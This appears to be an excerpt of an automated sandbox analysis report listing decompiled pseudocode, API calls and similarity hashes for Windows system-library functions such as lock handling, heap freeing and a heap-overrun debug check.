0x6b574d6c
0x6b574d71
0x6b574d77
0x6b574d7f
0x6b574d8c
0x6b574d8e
0x6b574dad
0x6b574db0
0x6b574db7
0x6b574db8
0x6b574db9
0x6b574dba
0x6b574dbb
0x6b574dc1
0x6b574dc8
0x6b574dcc
0x6b574dd5
0x6b574dde
0x6b574ddf
0x6b574de0
0x6b574de1
0x6b574de6
0x6b574de7
0x6b574de9
0x6b574df3
0x00000000
0x00000000
0x6b5b6c7c
0x6b5b6c8a
0x6b5b6c8a
0x6b5b6c9d
0x6b5b6ca7
0x6b5b6cac
0x6b5b6cb2
0x6b5b6cb9
0x00000000
0x6b5b6cbf
0x6b5b6cbf
0x00000000
0x6b5b6cbf
0x6b5b6cb9
0x6b574dfb
0x6b5b6ccf
0x6b5b6cd3
0x6b574e32
0x6b574e39
0x6b5b6ce0
0x6b5b6cf2
0x6b5b6cf2
0x6b5b6ce0
0x6b574e3f
0x6b574e41
0x6b574e51
0x6b574e51
0x6b574e03
0x6b574e03
0x6b574e09
0x6b574e0f
0x6b574e57
0x00000000
0x00000000
0x6b574e1b
0x6b574e30
0x6b574e5b
0x6b574e5b
0x00000000
0x6b574e30
0x6b574e11
0x6b574e11
0x6b574e16
0x00000000
0x6b574e16
0x6b574e01
0x00000000
0x6b574e01
0x6b574d9e
0x6b574da5
0x6b5b6c6b
0x00000000
0x6b574dab
0x6b574dab
0x00000000
0x6b574dab

APIs

memset.1105(?,00000000,000000A0,00000000,00000000,00000024), ref: 6B574D77
RtlRunOnceExecuteOnce.1105(6B6386B0,6B575690,00000000,00000000,00000000,00000000,00000024), ref: 6B574D9E
ZwTraceControl.1105(0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6B574DE9
memcmp.1105(00000000,6B525138,00000010,0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6B574E26
RtlNtStatusToDosError.1105(00000000,6B6386B0,6B575690,00000000,00000000,00000000,00000000,00000024), ref: 6B5B6C6B

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Once$ControlErrorExecuteStatusTracememcmpmemset
String ID:
API String ID: 1949686928-0
Opcode ID: ec4332583b104945a7b25132daa6a5362a48c53395c97a8d693cab8b196672a3
Instruction ID: 535b0ad816a624fd20ec8148314057ff31ea1612a53f748a6a455000f1e08cb8
Opcode Fuzzy Hash: ec4332583b104945a7b25132daa6a5362a48c53395c97a8d693cab8b196672a3
Instruction Fuzzy Hash: BC419071B403189FFB31DF248C91FEAB7A9EB49714F0004E9E9559B280D778DE448B92

Uniqueness

Uniqueness Score: -1.00%

Function 6B56C182, Relevance: 13.6, APIs: 9, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E6B56C182(void* __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				signed char _t33;
				char* _t43;
				void* _t48;
				signed char _t62;
				void* _t63;
				void* _t82;
				void* _t83;

				_t80 = __ecx;
				_t82 = __edx;
				_t33 =  *((intOrPtr*)(__ecx + 0xde));
				_t62 = _t33 >> 0x00000001 & 0x00000001;
				if((_t33 & 0x00000001) != 0) {
					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
					if(E6B567D50() != 0) {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t43 = 0x7ffe0386;
					}
					if( *_t43 != 0) {
						_t43 = E6B618D34(_v8, _t80);
					}
					E6B562280(_t43, _t82);
					if( *((char*)(_t80 + 0xdc)) == 0) {
						E6B55FFB0(_t62, _t80, _t82);
						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
						_t83 = _t80 + 0xd0;
						E6B618833(_t83,  &_v16);
						_t81 = _t80 + 0x90;
						E6B55FFB0(_t62, _t80 + 0x90, _t80 + 0x90);
						_t63 = 0;
						_push(0);
						_push(_t83);
						_t48 = E6B58B180();
						if(_a4 != 0) {
							E6B562280(_t48, _t81);
						}
					} else {
						E6B56BB2D(_v8 + 0xc, _t80 + 0x98);
						E6B56BB2D(_v8 + 8, _t80 + 0xb0);
						E6B56B944(_v8, _t62);
						 *((char*)(_t80 + 0xdc)) = 0;
						E6B55FFB0(0, _t80, _t82);
						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
						 *(_t80 + 0xde) = 0;
						if(_a4 == 0) {
							E6B55FFB0(0, _t80, _t80 + 0x90);
						}
						_t63 = 1;
					}
					return _t63;
				}
				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				if(_a4 == 0) {
					E6B55FFB0(0, __ecx, __ecx + 0x90);
				}
				return 0;
			}

0x6b56c18d
0x6b56c18f
0x6b56c191
0x6b56c19b
0x6b56c1a0
0x6b56c1d4
0x6b56c1de
0x6b5b2d6e
0x6b56c1e4
0x6b56c1e4
0x6b56c1e4
0x6b56c1ec
0x6b5b2d7d
0x6b5b2d7d
0x6b56c1f3
0x6b56c1ff
0x6b5b2d88
0x6b5b2d8d
0x6b5b2d94
0x6b5b2d9f
0x6b5b2da4
0x6b5b2dab
0x6b5b2db0
0x6b5b2db2
0x6b5b2db3
0x6b5b2db4
0x6b5b2dbc
0x6b5b2dc3
0x6b5b2dc3
0x6b56c205
0x6b56c211
0x6b56c222
0x6b56c22c
0x6b56c234
0x6b56c23a
0x6b56c23f
0x6b56c245
0x6b56c24b
0x6b56c251
0x6b56c25a
0x6b56c27d
0x6b56c27d
0x6b56c25c
0x6b56c25c
0x00000000
0x6b56c25e
0x6b56c1a4
0x6b56c1aa
0x6b56c1b3
0x6b56c26c
0x6b56c26c
0x00000000

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,00000000,?,00000000,?,?,?,?,?,6B60C9F8,000000FE), ref: 6B56C1D7
RtlAcquireSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,?,?,?,6B60C9F8,000000FE), ref: 6B56C1F3
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,00000000,?,00000000,?,?,?,?,?,6B60C9F8,000000FE), ref: 6B56C23A
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,?,?,?,6B60C9F8,000000FE), ref: 6B56C26C
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,?,00000000,?,?,?,?,?,6B60C9F8,000000FE), ref: 6B56C27D

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireCurrentServiceSession
String ID:
API String ID: 4254861812-0
Opcode ID: bdeba0c7626f7b2223eabf048399ca84a7f51063fc420e87d18673506539e28e
Instruction ID: 09ab942afda8298cb8a81989f48d3fe9427d15a5edb460bff13bc39287cf7007
Opcode Fuzzy Hash: bdeba0c7626f7b2223eabf048399ca84a7f51063fc420e87d18673506539e28e
Instruction Fuzzy Hash: CD316B72A01686BFFB04DBB8C891BE9F764BF82288F04419AD41C47215EB3D5D19CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6B57DE9E, Relevance: 13.6, APIs: 9, Instructions: 79
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6B57DE9E(void* __ecx) {
				char _v0;
				char _v12;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				void* _v60;
				void* _v64;
				void* _v65;
				void* _v66;
				void* __ebx;
				void* __edi;
				void* _t81;
				signed int _t82;
				intOrPtr* _t92;
				signed int _t96;
				intOrPtr* _t100;
				signed int _t103;
				signed int _t104;
				intOrPtr _t109;
				intOrPtr* _t110;
				signed int _t116;
				char _t121;
				void* _t128;
				signed int* _t130;
				signed int* _t135;
				signed int _t138;
				signed int _t140;
				void* _t145;
				unsigned int _t147;
				signed int _t151;
				signed int _t152;
				signed int _t153;
				intOrPtr _t154;
				intOrPtr _t155;
				signed int _t156;
				intOrPtr* _t157;
				signed int _t161;
				signed int* _t162;
				char _t163;
				signed int _t164;
				signed int _t169;
				signed int _t171;
				intOrPtr* _t173;
				signed int _t176;
				signed int _t177;
				intOrPtr* _t178;
				void* _t181;
				void* _t183;
				signed int _t186;
				signed int _t188;
				signed int _t191;
				signed int _t193;
				signed int _t194;
				void* _t196;

				_t194 = _t193 & 0xfffffff8;
				_push(__ecx);
				_push(_t173);
				_t181 = __ecx;
				_t81 = E6B562280( *0x6b6384cc + 4,  *0x6b6384cc + 4);
				_t128 = _t181 + 0x28;
				_t82 = E6B562280(_t81, _t128);
				asm("lock xadd [esi+0x50], eax");
				if((_t82 | 0xffffffff) != 1) {
					E6B55FFB0(_t128, _t173, _t128);
					L8:
					return E6B55FFB0(_t128, _t173,  *0x6b6384cc + 4);
				} else {
					if(E6B567D50() != 0) {
						_t92 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x234;
					} else {
						_t92 = 0x7ffe038e;
					}
					_t173 = _t181 + 0x10;
					if( *_t92 != 0) {
						E6B5D2EA3(_t181,  *_t173,  *((intOrPtr*)(_t173 + 4)));
					}
					_push(_t173);
					E6B58B150();
					_t96 = _t181 + 0x1c;
					_t162 =  *_t96;
					if(_t162[1] != _t96) {
						L10:
						_t145 = 3;
						asm("int 0x29");
						_t191 = _t194;
						_push(_t145);
						_push(_t145);
						_push(_t128);
						_push(_t181);
						_push(_t173);
						_t130 = _t162;
						_t183 = _t145;
						asm("lock xadd [esi+0x2c], eax");
						if((_t96 | 0xffffffff) == 1) {
							_t146 =  *((intOrPtr*)(_t183 + 0x28));
							if( *((intOrPtr*)(_t183 + 0x28)) != 0) {
								E6B54A745(_t130, _t146, _t162, _t173);
							}
							_t100 = _t183 + 4;
							_t163 =  *_t100;
							if( *((intOrPtr*)(_t163 + 4)) != _t100) {
								L20:
								_t147 = 3;
								asm("int 0x29");
								_push(_t191);
								_t196 = (_t194 & 0xfffffff8) - 0x1c;
								_v56 = _v56 & 0x00000000;
								_push(_t130);
								 *((char*)(_t196 + 0xb)) = _t163;
								 *(_t196 + 0x18) = _t147;
								_push(_t183);
								_push(_t173);
								_t135 =  *((intOrPtr*)( *[fs:0x18] + 0x30)) + ((_t147 >> 0x00000005 & 0x0000007f) + 0x97) * 4;
								_t103 = 0;
								_t164 =  *_t135;
								_v48 = _t135;
								 *(_t196 + 0x12) = 0;
								if(_t164 != 0) {
									while((_t164 & 0x00000001) == 0) {
										_t103 = _t164;
										if((_t164 & 0x00000002) != 0) {
											asm("lock cmpxchg [ebx], ecx");
											if(_t103 != _t164) {
												goto L54;
											}
										} else {
											_t186 = _t164 | 0x00000002;
											asm("lock cmpxchg [ebx], ecx");
											if(_t103 != _t164) {
												L54:
												_t164 = _t103;
												if(_t103 != 0) {
													continue;
												} else {
												}
											} else {
												while(1) {
													L25:
													_t138 = _t186 & 0xfffffffc;
													 *(_t196 + 0x24) = _t138;
													_t176 = _t138;
													if( *((intOrPtr*)(_t138 + 0x10)) == 0) {
														goto L56;
													}
													L26:
													_t177 =  *((intOrPtr*)(_t176 + 0x10));
													 *((intOrPtr*)(_t138 + 0x10)) = _t177;
													while(_t177 != 0) {
														_t169 =  *((intOrPtr*)(_t177 + 0xc));
														_v52 = _t169;
														if( *_t177 !=  *((intOrPtr*)(_t196 + 0x20))) {
															L60:
															_t177 = _t169;
															continue;
														} else {
															_t152 =  *(_t177 + 8);
															if(_t177 != _t138) {
																 *(_t169 + 8) = _t152;
																_t153 =  *(_t177 + 8);
																_t109 =  *((intOrPtr*)(_t177 + 0xc));
																if(_t153 != 0) {
																	 *((intOrPtr*)(_t153 + 0xc)) = _t109;
																} else {
																	 *((intOrPtr*)(_t138 + 0x10)) = _t109;
																	 *((intOrPtr*)( *((intOrPtr*)(_t177 + 0xc)) + 0x10)) =  *((intOrPtr*)(_t177 + 0xc));
																}
																goto L34;
															} else {
																if(_t152 != 0) {
																	_t152 = _t152 ^ (_t152 ^ _t186) & 0x00000003;
																}
																_t116 = _t186;
																asm("lock cmpxchg [ebx], edx");
																_t138 =  *(_t196 + 0x24);
																if(_t116 != _t186) {
																	_t186 = _t116;
																	goto L25;
																} else {
																	_t171 =  *(_t177 + 8);
																	_t156 = _t152 & 0xffffff00 | _t152 == 0x00000000;
																	 *(_t196 + 0x12) = _t156;
																	if(_t171 != 0) {
																		 *(_t171 + 0xc) =  *(_t171 + 0xc) & 0x00000000;
																		 *((intOrPtr*)(_t171 + 0x10)) =  *((intOrPtr*)(_t177 + 0x10));
																		 *(_t196 + 0x12) = _t156;
																	}
																	_t169 = _v52;
																	L34:
																	_t154 = 2;
																	_t49 = _t177 + 0x14; // 0x14
																	_t110 = _t49;
																	_t155 =  *_t110;
																	 *_t110 = _t154;
																	if(_t155 == 2) {
																		goto L60;
																	} else {
																		if(_t155 == 0) {
																			 *(_t177 + 8) = _v56;
																			_v56 = _t177;
																		}
																		if( *((char*)(_t196 + 0x13)) != 0) {
																			goto L60;
																		}
																	}
																}
															}
														}
														break;
													}
													_t103 = _v56;
													if(_t103 != 0) {
														do {
															_push( *((intOrPtr*)(_t103 + 4)));
															_t188 =  *(_t103 + 8);
															E6B589BF0();
															_t103 = _t188;
														} while (_t188 != 0);
													}
													if( *(_t196 + 0x12) == 0) {
														_t151 =  *_v48;
														while(1) {
															_t140 = _t151 & 0x00000001;
															asm("sbb edx, edx");
															_t103 = _t151;
															asm("lock cmpxchg [esi], edx");
															if(_t103 == _t151) {
																break;
															}
															_t151 = _t103;
														}
														if(_t140 != 0) {
															_t103 = E6B5FCF30(_t103);
														}
													}
													goto L41;
													do {
														L56:
														_t104 = _t176;
														_t176 =  *(_t176 + 8);
														 *(_t176 + 0xc) = _t104;
													} while ( *((intOrPtr*)(_t176 + 0x10)) == 0);
													goto L26;
												}
											}
										}
										goto L41;
									}
								}
								L41:
								return _t103;
							} else {
								_t157 =  *((intOrPtr*)(_t100 + 4));
								if( *_t157 != _t100) {
									goto L20;
								} else {
									 *_t157 = _t163;
									 *((intOrPtr*)(_t163 + 4)) = _t157;
									_t178 =  *((intOrPtr*)(_t183 + 0x30));
									 *_t130 =  *(_t183 + 0x38);
									 *_v0 =  *((intOrPtr*)(_t183 + 0x3c));
									_t121 = RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t183);
									if(_t178 != 0) {
										 *_t178 = 1;
										_t121 =  &_v12;
										asm("lock or [eax], ecx");
										_push(0);
										L21();
									}
									goto L13;
								}
							}
						} else {
							_t121 = _v0;
							 *_t130 =  *_t130 & 0x00000000;
							 *_t121 =  *_t121 & 0x00000000;
							L13:
							return _t121;
						}
					} else {
						_t161 =  *(_t96 + 4);
						if( *_t161 != _t96) {
							goto L10;
						} else {
							 *_t161 = _t162;
							_t162[1] = _t161;
							E6B55FFB0(_t128, _t173, _t128);
							if( *(_t181 + 0x58) != 0) {
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0,  *(_t181 + 0x58));
							}
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t181);
							goto L8;
						}
					}
				}
			}

0x6b57dea3
0x6b57dea6
0x6b57deae
0x6b57deb2
0x6b57deb5
0x6b57deba
0x6b57debe
0x6b57dec6
0x6b57decc
0x6b57df40
0x6b57df2a
0x6b57df3e
0x6b57dece
0x6b57ded5
0x6b5bb445
0x6b57dedb
0x6b57dedb
0x6b57dedb
0x6b57dee2
0x6b57dee7
0x6b5bb456
0x6b5bb456
0x6b57deed
0x6b57deee
0x6b57def3
0x6b57def6
0x6b57defb
0x6b57df47
0x6b57df49
0x6b57df4a
0x6b57df4f
0x6b57df51
0x6b57df52
0x6b57df53
0x6b57df54
0x6b57df55
0x6b57df56
0x6b57df58
0x6b57df5d
0x6b57df63
0x6b57df77
0x6b57df7c
0x6b57dfd3
0x6b57dfd3
0x6b57df7e
0x6b57df81
0x6b57df86
0x6b57dfda
0x6b57dfdc
0x6b57dfdd
0x6b57dfe1
0x6b57dfe7
0x6b57dff0
0x6b57dff5
0x6b57dff8
0x6b57e005
0x6b57e00f
0x6b57e010
0x6b57e011
0x6b57e014
0x6b57e016
0x6b57e018
0x6b57e01c
0x6b57e022
0x6b57e028
0x6b57e031
0x6b57e036
0x6b5bb47d
0x6b5bb483
0x00000000
0x00000000
0x6b57e03c
0x6b57e03e
0x6b57e043
0x6b57e049
0x6b5bb489
0x6b5bb489
0x6b5bb48d
0x00000000
0x00000000
0x6b5bb493
0x00000000
0x6b57e04f
0x6b57e04f
0x6b57e051
0x6b57e054
0x6b57e058
0x6b57e05e
0x00000000
0x00000000
0x6b57e064
0x6b57e064
0x6b57e067
0x6b57e06a
0x6b57e076
0x6b57e079
0x6b57e07f
0x6b5bb4cc
0x6b5bb4cc
0x00000000
0x6b57e085
0x6b57e085
0x6b57e08a
0x6b57e11c
0x6b57e11f
0x6b57e122
0x6b57e127
0x6b57e164
0x6b57e129
0x6b57e129
0x6b57e12f
0x6b57e12f
0x00000000
0x6b57e090
0x6b57e092
0x6b5bb4b2
0x6b5bb4b2
0x6b57e09e
0x6b57e0a0
0x6b57e0a4
0x6b57e0aa
0x6b5bb4d3
0x00000000
0x6b57e0b0
0x6b57e0b0
0x6b57e0b5
0x6b57e0b8
0x6b57e0be
0x6b5bb4b9
0x6b5bb4c0
0x6b5bb4c3
0x6b5bb4c3
0x6b57e0c4
0x6b57e0c8
0x6b57e0ca
0x6b57e0cb
0x6b57e0cb
0x6b57e0ce
0x6b57e0ce
0x6b57e0d3
0x00000000
0x6b57e0d9
0x6b57e0db
0x6b57e0e1
0x6b57e0e4
0x6b57e0e4
0x6b57e0ed
0x00000000
0x00000000
0x6b57e0ed
0x6b57e0d3
0x6b57e0aa
0x6b57e08a
0x00000000
0x6b57e07f
0x6b57e0f3
0x6b57e0f9
0x6b57e0fb
0x6b57e0fb
0x6b57e0fe
0x6b57e101
0x6b57e106
0x6b57e108
0x6b57e0fb
0x6b57e111
0x6b57e138
0x6b57e13a
0x6b57e13e
0x6b57e148
0x6b57e14e
0x6b57e150
0x6b57e156
0x00000000
0x00000000
0x6b57e16c
0x6b57e16c
0x6b57e15a
0x6b57e15d
0x6b57e15d
0x6b57e15a
0x00000000
0x6b5bb498
0x6b5bb498
0x6b5bb498
0x6b5bb49a
0x6b5bb49d
0x6b5bb4a0
0x00000000
0x6b5bb4a6
0x6b57e04f
0x6b57e049
0x00000000
0x6b57e036
0x6b57e028
0x6b57e113
0x6b57e119
0x6b57df88
0x6b57df88
0x6b57df8d
0x00000000
0x6b57df8f
0x6b57df8f
0x6b57df91
0x6b57df97
0x6b57df9a
0x6b57dfa5
0x6b57dfb0
0x6b57dfb7
0x6b57dfb9
0x6b57dfbf
0x6b57dfc4
0x6b57dfc7
0x6b57dfcc
0x6b57dfcc
0x00000000
0x6b57dfb7
0x6b57df8d
0x6b57df65
0x6b57df65
0x6b57df68
0x6b57df6b
0x6b57df6e
0x6b57df74
0x6b57df74
0x6b57defd
0x6b57defd
0x6b57df02
0x00000000
0x6b57df04
0x6b57df04
0x6b57df07
0x6b57df0a
0x6b57df13
0x6b5bb46e
0x6b5bb46e
0x6b57df25
0x00000000
0x6b57df25
0x6b57df02
0x6b57defb

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,?,00000000,?,?,6B543A82,?,?,?,?,?,00000001,00000000,?,?), ref: 6B57DEB5
RtlAcquireSRWLockExclusive.1105(?,?,00000000,?,00000000,?,?,6B543A82,?,?,?,?,?,00000001,00000000,?), ref: 6B57DEBE

Part of subcall function 6B562280: RtlDllShutdownInProgress.1105(00000000), ref: 6B5622BA
Part of subcall function 6B562280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6B5623A3

RtlGetCurrentServiceSessionId.1105(?,?,00000000,?,00000000,?,?,6B543A82,?,?,?,?,?,00000001,00000000,?), ref: 6B57DECE
ZwUnsubscribeWnfStateChange.1105(?,?,?,00000000,?,00000000,?,?,6B543A82,?,?,?,?,?,00000001,00000000), ref: 6B57DEEE
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,6B543A82,?,?,?,?,?,00000001), ref: 6B57DF0A
RtlFreeHeap.1105(?,00000000,?,?,?,?,?,00000000,?,00000000,?,?,6B543A82,?), ref: 6B57DF25
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,6B543A82,?,?,?,?,?,00000001), ref: 6B57DF33
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,00000000,?,?,6B543A82,?,?,?,?,?,00000001,00000000), ref: 6B57DF40
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,00000000,?,00000000,?,?,6B543A82,?), ref: 6B5BB46E

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireFreeHeap$AlertChangeCurrentProgressServiceSessionShutdownStateThreadUnsubscribeWait
String ID:
API String ID: 3923771875-0
Opcode ID: eb28809b5a92d525873f6c43c2843e74c31afb3379ca151c66e7c64370d24cb2
Instruction ID: 5cb724ea2d7002637b440b33cc399288bbc1f1436ef616ed75fdde28fd27a226
Opcode Fuzzy Hash: eb28809b5a92d525873f6c43c2843e74c31afb3379ca151c66e7c64370d24cb2
Instruction Fuzzy Hash: 4E2103722406809BF321EB38CC41F92B779FF81758F0045A5E404876A5DB7DEC01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B5F23E3, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E6B5F23E3(signed int __ecx, unsigned int __edx) {
				intOrPtr _v8;
				intOrPtr _t42;
				char _t43;
				signed short _t44;
				signed short _t48;
				signed char _t51;
				signed short _t52;
				intOrPtr _t54;
				signed short _t64;
				signed short _t66;
				intOrPtr _t69;
				signed short _t73;
				signed short _t76;
				signed short _t77;
				signed short _t79;
				void* _t83;
				signed int _t84;
				signed int _t85;
				signed char _t94;
				unsigned int _t99;
				unsigned int _t104;
				signed int _t108;
				void* _t110;
				void* _t111;
				unsigned int _t114;

				_t84 = __ecx;
				_push(__ecx);
				_t114 = __edx;
				_t42 =  *((intOrPtr*)(__edx + 7));
				if(_t42 == 1) {
					L49:
					_t43 = 1;
					L50:
					return _t43;
				}
				if(_t42 != 4) {
					if(_t42 >= 0) {
						if( *(__ecx + 0x4c) == 0) {
							_t44 =  *__edx & 0x0000ffff;
						} else {
							_t73 =  *__edx;
							if(( *(__ecx + 0x4c) & _t73) != 0) {
								_t73 = _t73 ^  *(__ecx + 0x50);
							}
							_t44 = _t73 & 0x0000ffff;
						}
					} else {
						_t104 = __edx >> 0x00000003 ^  *__edx ^  *0x6b63874c ^ __ecx;
						if(_t104 == 0) {
							_t76 =  *((intOrPtr*)(__edx - (_t104 >> 0xd)));
						} else {
							_t76 = 0;
						}
						_t44 =  *((intOrPtr*)(_t76 + 0x14));
					}
					_t94 =  *((intOrPtr*)(_t114 + 7));
					_t108 = _t44 & 0xffff;
					if(_t94 != 5) {
						if((_t94 & 0x00000040) == 0) {
							if((_t94 & 0x0000003f) == 0x3f) {
								if(_t94 >= 0) {
									if( *(_t84 + 0x4c) == 0) {
										_t48 =  *_t114 & 0x0000ffff;
									} else {
										_t66 =  *_t114;
										if(( *(_t84 + 0x4c) & _t66) != 0) {
											_t66 = _t66 ^  *(_t84 + 0x50);
										}
										_t48 = _t66 & 0x0000ffff;
									}
								} else {
									_t99 = _t114 >> 0x00000003 ^  *_t114 ^  *0x6b63874c ^ _t84;
									if(_t99 == 0) {
										_t69 =  *((intOrPtr*)(_t114 - (_t99 >> 0xd)));
									} else {
										_t69 = 0;
									}
									_t48 =  *((intOrPtr*)(_t69 + 0x14));
								}
								_t85 =  *(_t114 + (_t48 & 0xffff) * 8 - 4);
							} else {
								_t85 = _t94 & 0x3f;
							}
						} else {
							_t85 =  *(_t114 + 4 + (_t94 & 0x3f) * 8) & 0x0000ffff;
						}
					} else {
						_t85 =  *(_t84 + 0x54) & 0x0000ffff ^  *(_t114 + 4) & 0x0000ffff;
					}
					_t110 = (_t108 << 3) - _t85;
				} else {
					if( *(__ecx + 0x4c) == 0) {
						_t77 =  *__edx & 0x0000ffff;
					} else {
						_t79 =  *__edx;
						if(( *(__ecx + 0x4c) & _t79) != 0) {
							_t79 = _t79 ^  *(__ecx + 0x50);
						}
						_t77 = _t79 & 0x0000ffff;
					}
					_t110 =  *((intOrPtr*)(_t114 - 8)) - (_t77 & 0x0000ffff);
				}
				_t51 =  *((intOrPtr*)(_t114 + 7));
				if(_t51 != 5) {
					if((_t51 & 0x00000040) == 0) {
						_t52 = 0;
						goto L42;
					}
					_t64 = _t51 & 0x3f;
					goto L38;
				} else {
					_t64 =  *(_t114 + 6) & 0x000000ff;
					L38:
					_t52 = _t64 << 0x00000003 & 0x0000ffff;
					L42:
					_t35 = _t114 + 8; // -16
					_t111 = _t110 + (_t52 & 0x0000ffff);
					_t83 = _t35 + _t111;
					_t54 = E6B59D4F0(_t83, 0x6b526c58, 8);
					_v8 = _t54;
					if(_t54 == 8) {
						goto L49;
					}
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6B54B150();
					} else {
						E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t111);
					_push(_v8 + _t83);
					E6B54B150("Heap block at %p modified at %p past requested size of %Ix\n", _t114);
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x6b636378 = 1;
						asm("int3");
						 *0x6b636378 = 0;
					}
					_t43 = 0;
					goto L50;
				}
			}

0x6b5f23e3
0x6b5f23e8
0x6b5f23eb
0x6b5f23ee
0x6b5f23f3
0x6b5f259b
0x6b5f259b
0x6b5f259d
0x6b5f25a3
0x6b5f25a3
0x6b5f23fb
0x6b5f2424
0x6b5f244f
0x6b5f2460
0x6b5f2451
0x6b5f2451
0x6b5f2456
0x6b5f2458
0x6b5f2458
0x6b5f245b
0x6b5f245b
0x6b5f2426
0x6b5f2431
0x6b5f2436
0x6b5f2443
0x6b5f2438
0x6b5f2438
0x6b5f2438
0x6b5f2445
0x6b5f2445
0x6b5f2463
0x6b5f2469
0x6b5f246f
0x6b5f2480
0x6b5f2495
0x6b5f24a1
0x6b5f24ce
0x6b5f24df
0x6b5f24d0
0x6b5f24d0
0x6b5f24d5
0x6b5f24d7
0x6b5f24d7
0x6b5f24da
0x6b5f24da
0x6b5f24a3
0x6b5f24b0
0x6b5f24b5
0x6b5f24c2
0x6b5f24b7
0x6b5f24b7
0x6b5f24b7
0x6b5f24c4
0x6b5f24c4
0x6b5f24e8
0x6b5f2497
0x6b5f249a
0x6b5f249a
0x6b5f2482
0x6b5f2488
0x6b5f2488
0x6b5f2471
0x6b5f2479
0x6b5f2479
0x6b5f24ef
0x6b5f23fd
0x6b5f2401
0x6b5f2412
0x6b5f2403
0x6b5f2403
0x6b5f2408
0x6b5f240a
0x6b5f240a
0x6b5f240d
0x6b5f240d
0x6b5f241b
0x6b5f241b
0x6b5f24f1
0x6b5f24f6
0x6b5f2507
0x6b5f2510
0x00000000
0x6b5f2510
0x6b5f250b
0x00000000
0x6b5f24f8
0x6b5f24f8
0x6b5f24fc
0x6b5f2500
0x6b5f2512
0x6b5f2515
0x6b5f251a
0x6b5f2521
0x6b5f2524
0x6b5f2529
0x6b5f252f
0x00000000
0x00000000
0x6b5f253c
0x6b5f255c
0x6b5f2561
0x6b5f253e
0x6b5f2554
0x6b5f2559
0x6b5f256a
0x6b5f256d
0x6b5f2574
0x6b5f2586
0x6b5f2588
0x6b5f258f
0x6b5f2590
0x6b5f2590
0x6b5f2597
0x00000000
0x6b5f2597

APIs

RtlCompareMemory.1105(-00000010,6B526C58,00000008,?,-00000018,?,?,?,6B604BD7), ref: 6B5F2524
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000010,6B526C58,00000008,?,-00000018,?,?,?,6B604BD7), ref: 6B5F2554
DbgPrint.1105(HEAP: ,-00000010,6B526C58,00000008,?,-00000018,?,?,?,6B604BD7), ref: 6B5F2561
DbgPrint.1105(Heap block at %p modified at %p past requested size of %Ix,-00000018,?,?,-00000010,6B526C58,00000008,?,-00000018,?,?,?,6B604BD7), ref: 6B5F2574

Strings

HEAP[%wZ]: , xrefs: 6B5F254F
Heap block at %p modified at %p past requested size of %Ix, xrefs: 6B5F256F
